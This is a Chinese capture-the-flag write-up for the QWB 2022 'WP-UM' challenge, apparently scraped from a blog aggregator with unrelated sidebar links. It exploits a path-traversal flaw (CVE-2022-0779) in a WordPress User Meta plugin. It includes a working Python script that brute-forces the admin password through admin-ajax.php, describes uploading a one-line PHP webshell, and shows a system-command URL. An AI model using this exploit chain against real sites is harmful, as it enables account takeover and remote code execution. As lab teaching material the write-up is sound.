当前位置:网站首页>[强网杯2022]WP-UM
[强网杯2022]WP-UM
2022-08-05 09:52:00 【Landasika】
考点: WordPress User Meta Lite Pro 2.4.3 Path遍历漏洞CVE-2022-0779
首先初始化题目
获取管理员账号密码
注册一个用户
登陆用户
抓上传的数据包
然后发送,拦截一个action=um_show_uploaded_file的数据包
根据首页信息可以得到管理员的用户名
利用CVE-2022-0779 Path遍历漏洞,如果存在这个文件,那么会显示Remove,如果没有这个文件,就不会存在Remove
爆破得到密码
import requests
lis='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
password=''
url="http://ip:port/wp-admin/admin-ajax.php"
header={
'Host': 'ip:port',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin': 'http://ip:port',
'Referer': 'http://ip:port/index.php/upload/',
'Cookie':'wordpress_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C773b42bf40849a9d6365ec60b43eb256204f1c41a3c52103702ac0ea8b910a85; wordpress_logged_in_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C46c1c28f20badcb553d1aef7f4ee2f926b5a6b9cb83e0f934a230f38d30a88cc'
}
for i in range (1,16):
for s in lis:
datas="field_name=upload&filepath=/../../../../../../../password/"+str(i)+s+"&field_id=um_field_2&form_key=upload&action=um_show_uploaded_file&pf_nonce=8a8f9c780f&is_ajax=true"
result=requests.post(url,data=datas,headers=header)
if 'Remove' in result.text:
password+=s
break
print (password)
上传一句话木马
修改上传文件设置
然后进入页面里面更新
上传一句话木马
获取flag
进入wp-content/uploads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
oads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
边栏推荐
- Egg framework usage (2)
- js graphics operation one (compatible with pc, mobile terminal to achieve draggable attribute drag and drop effect)
- Analysis and practice of antjian webshell dynamic encrypted connection
- 入门 Polkadot 平行链开发,看这一篇就够了
- STM32+ULN2003驱动28BYJ4步进电机(根据圈数正转、反转)
- Why do I recommend using smart async?
- QSS 选择器
- IO流篇 -- 基于io流实现文件夹拷贝(拷贝子文件夹及子文件夹内文件)满满的干货
- 韦东山 数码相框 项目学习(六)tslib的移植
- 公众号如何运维?公众号运维专业团队
猜你喜欢
皕杰报表的下拉框联动
如何实现按键的短按、长按检测?
深度学习21天——卷积神经网络(CNN):天气识别(第5天)
NowCoderTOP35-40——持续更新ing
hcip BGP 增强实验
The technological achievements of Shanghai Konan were selected into the "2021 Shanghai Network Security Industry Innovation Research Achievement Catalog" by the Municipal Commission of Economy and Inf
hcip BGP enhancement experiment
Jenkins manual (2) - software configuration
CPU的亲缘性affinity
ECCV 2022 Oral Video Instance Segmentation New SOTA: SeqFormer & IDOL and CVPR 2022 Video Instance Segmentation Competition Champion Scheme...
随机推荐
无题十四
只有一台交换机,如何实现主从自动切换之nqa
eKuiper Newsletter 2022-07|v1.6.0:Flow 编排 + 更好用的 SQL,轻松表达业务逻辑
创建一个 Dapp,为什么要选择波卡?
How to realize the short press and long press detection of the button?
干货!生成模型的评价与诊断
egg框架使用(二)
哪位大佬有20年4月或者1月的11G GI和ojvm补丁呀,帮忙发下?
There is only one switch, how to realize the nqa of master-slave automatic switching
PAT Level B - B1021 Single Digit Statistics (15)
ffmpeg drawtext add text watermark
2022-08-01 Review the basic binary tree and operations
Handwriting Currying - toString Comprehension
数据中台建设(十):数据安全管理
Hundred lines of code launch red hearts, why programmers lose their girlfriends!
手把手教你纯c实现异常捕获try-catch组件
Marketing Suggestions | You have an August marketing calendar to check! Suggest a collection!
Open Source Summer | How OpenHarmony Query Device Type (eTS)
Jenkins使用手册(2) —— 软件配置
电竞、便捷、高效、安全,盘点OriginOS功能的关键词